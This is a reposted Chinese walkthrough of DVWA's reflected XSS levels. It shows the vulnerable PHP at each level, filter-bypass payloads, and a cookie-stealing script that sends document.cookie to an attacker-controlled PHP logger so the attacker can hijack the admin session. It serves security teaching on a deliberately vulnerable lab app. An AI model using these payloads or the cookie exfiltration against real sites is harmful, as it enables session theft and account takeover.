• DVWA XSS (Reflected) 通关教程


    XSS 介绍
    XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。

    DOM型的XSS由于其特殊性,常常被分为第三种,这是一种基于DOM树的XSS。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。

    XSS利用的常见用途:

    盗取用户 cookies
    劫持会话
    流量劫持
    网页挂马
    DDOS
    提升权限
    ...

    本次先介绍反射型XSS:

    Reflected Cross Site Scripting

    反射型XSS,非持久化,需要欺骗用户自己去点击带有特定参数的XSS代码链接才能触发引起(服务器中没有这样的页面和内容),一般容易出现在搜索页面。

    Low Security Level

    <?php
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Feedback for end user
        echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
    }
    
    ?> 

    可以看到,代码直接采用get方式传入了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。

    Exploit

    最普通的测试payload:

    <script>alert(/xss/)</script>


    XSS链接:

    http://www.dvwa.com/vulnerabilities/xss_r/?name=<script>alert(/xss/)</script>#

    成功弹窗;

    弹窗之后的实战利用之盗取用户 cookies 进入后台:

    攻击者自己网站http://localhost/xss/里构造:

    hacker.js

    var img = new Image();
    img.src="http://localhost/xss/hacker.php?x=" + document.cookie;
    document.body.append(img);

    hacker.php

    <?php
    $cookie = $_GET['x'];
    file_put_contents('cookie.txt', $cookie);
    ?>

    于是插入dvwa的xss payload为:

    <script src="http://localhost/xss/hacker.js" /></script>

    XSS利用,得到cookies:

    修改cookies从而得到权限进入后台。

    Medium Security Level

    <?php
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Get input
        $name = str_replace( '<script>', '', $_GET[ 'name' ] );
    
        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }
    
    ?> 

    可以看到,这里对输入进行了过滤,使用str_replace函数将输入中的<script>替换为空,这种黑名单防护机制是可以被轻松绕过的。

    Exploit

    1.大小写绕过:

    <ScRipt>alert(/xss/);</ScRipt>

    XSS链接:

    http://www.dvwa.com/vulnerabilities/xss_r/?name=<ScRipt>alert(/xss/);</ScRipt>#

    2.双写方式绕过 str_replace()函数

    <scr<script>ipt>alert(/xss/);</script>

    XSS链接:

    http://www.dvwa.com/vulnerabilities/xss_r/?name=<scr<script>ipt>alert(/xss/);</script>#

    3.使用非 script 标签的 xss payload

    例如:

    img标签:

    <img src=1 onerror=alert('xss')>
    
    <img src="1" onerror=eval("x61x6cx65x72x74x28x27x78x73x73x27x29")></img>

    iframe标签:

    <iframe onload=alert(1)>
    
    <iframe src=javascript:alert('xss');height=0 width=0 /><iframe>

    其他标签和利用还有很多很多….

    High Security Level

    <?php
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Get input
        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
    
        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }
    
    ?> 

    可以看到,High Security Level的代码同样使用黑名单过滤输入,preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。

    Exploit

    虽然无法使用<script>标签注入 XSS 代码,但是可以通过img、body等标签的事件或者iframe、src等标签的构造可利用的js代码。

    例如:

    1.使用 img 标签和其编码转换后的 XSS payload

    <img src=1 onerror=alert(/xss/)>

    XSS 链接:

    http://www.dvwa.com/vulnerabilities/xss_r/?name=<img+src=1+onerror=alert(/xss/)>#

    img标签编码转换后的XSS payload例如:

    <img src=1 onerror=eval("x61x6cx65x72x74x28x27x78x73x73x27x29")></img>
    <img src=1 onerror=eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41))></img>
    <img src=1 onerror=eval("u0061u006cu0065u0072u0074u0028u0027u0078u0073u0073u0027u0029")></img>

    2.使用 iframe 标签

    <iframe onload=alert(/xss/)>

    3.使用 DATA URL 进行 XSS

    <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>

    其他的XSS payload还有很多很多…

    Impossible Security Level

    <?php
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $name = htmlspecialchars( $_GET[ 'name' ] );
    
        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 

    PHP htmlspecialchars()函数

    把预定义的字符转换为HTML实体:

    & (和号)成为 &amp;
    " (双引号)成为 &quot; 
    ' (单引号)成为 &apos;//生效需要加 ENT_QUOTES 参数
    < (小于)成为 &lt;
    > (大于)成为 &gt;

    可以看到,Impossible Security Level的代码使用htmlspecialchars函数把预定义的字符:

    & " ' < >

    转换为HTML实体,防止浏览器将其作为HTML元素。从而防治了反射型XSS利用和危害。

    转载自:AnCoLin's Blog|影风博客DVWA XSS (Reflected) 通关教程

  • 相关阅读:
    【odoo14】【好书学习】第一章、安装odoo的开发环境
    echarts 根据geojson 数据绘制区域图(精确到镇)
    百度地图 获取具体位置经纬度
    js 实时监听滚动条状态 判断滚动条位置
    vue cli3 使用elemet-plus
    关于vue告警 More than 1 blank line not allowed
    vue cli3 创建项目
    intelliJ idea 自动修复eslint语法问题
    函数式编程
    二分法
  • 原文地址:https://www.cnblogs.com/yyxianren/p/11381559.html
Copyright © 2020-2023  润新知